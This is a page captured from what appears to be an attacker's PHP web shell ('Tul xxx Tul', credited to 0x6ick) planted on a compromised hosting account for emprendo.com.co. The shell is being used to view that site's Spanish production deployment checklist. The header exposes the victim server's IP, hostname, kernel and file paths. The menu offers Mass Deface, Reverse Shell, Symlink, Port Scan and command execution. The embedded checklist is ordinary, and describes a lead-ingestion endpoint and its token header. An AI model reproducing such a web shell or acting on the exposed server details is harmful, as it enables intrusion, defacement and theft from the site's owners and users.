Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
emprendo.com.co
/
public_html
/
soy
/
Viewing: DEPLOYMENT.md
# Checklist de despliegue a producción ## Requisitos previos - **Configurar entorno** Crear un archivo `.env` basado en `.env.example` con las variables `SOY_APP_ENV`, `SOY_BASE_PATH`, `SOY_PUBLIC_HOME`, `SOY_DB_*` y `SOY_SESSION_*`. - **Base de datos** Importar `soy.sql`, crear usuarios iniciales y configurar respaldos periódicos. - **PHP** Asegurar `upload_max_filesize` y `post_max_size` ≥ 15M, habilitar extensión `fileinfo`, desactivar `display_errors` y activar `log_errors`. ## Servidor web - **Ubicación del proyecto** Garantizar que la ruta pública corresponda a `SOY_BASE_PATH` y que `index.php?r=...` funcione (mod_rewrite o equivalente). - **HTTPS** Forzar HTTPS para aprovechar las cookies de sesión seguras (`SESSION_SECURE`). ## Archivos y permisos - **Uploads** Permisos de escritura para `admin/uploads/diagnosticos/` y cualquier otra carpeta de carga. - **Backups** Programar respaldo de los directorios de carga y base de datos. ## Pruebas funcionales - **Autenticación** Probar login/logout para admin y cliente, verificar redirección a `PUBLIC_HOME_URL` al cerrar sesión. - **Diagnósticos** Revisar dashboards, tarjetas y progreso; validar subida/descarga de documentos. - **Entrevistas** Guardar respuestas y comprobar modal de confirmación. - **Marketing** Enviar un lead de prueba al endpoint `admin/index.php?r=marketing/ingestLead` con el token configurado y verificar que aparezca en el panel. ## Monitoreo - **Logs** Verificar ruta de logs de PHP y configurar alertas. - **Métricas** Considerar integración con herramientas de monitoreo (opcional). ## Integración de leads de marketing - **Token** Ajustar `SOY_MARKETING_TOKEN` en `.env` (y variables de entorno del servidor) antes de habilitar formularios públicos. - **Endpoint** Realizar `POST` a `https://<dominio>/soy/admin/index.php?r=marketing/ingestLead`. - **Headers** Incluir `Content-Type: application/json` y `X-Marketing-Token: <SOY_MARKETING_TOKEN>`. - **Payload JSON** ejemplo: ```json { "token": "<SOY_MARKETING_TOKEN>", "funnel": "clientes", "nombre_emprendimiento": "Mi Startup", "email": "founder@example.com", "telefono": "+57 3001234567", "mensaje": "Busco asesoría en SST", "fuente": "web-publica", "campania": "landing-octubre" } ``` - **Respuesta**: `{ "status": "ok", "lead_id": <id numérico> }`. Manejar errores HTTP 4xx para validar token o datos faltantes.
Coded With 💗 by
0x6ick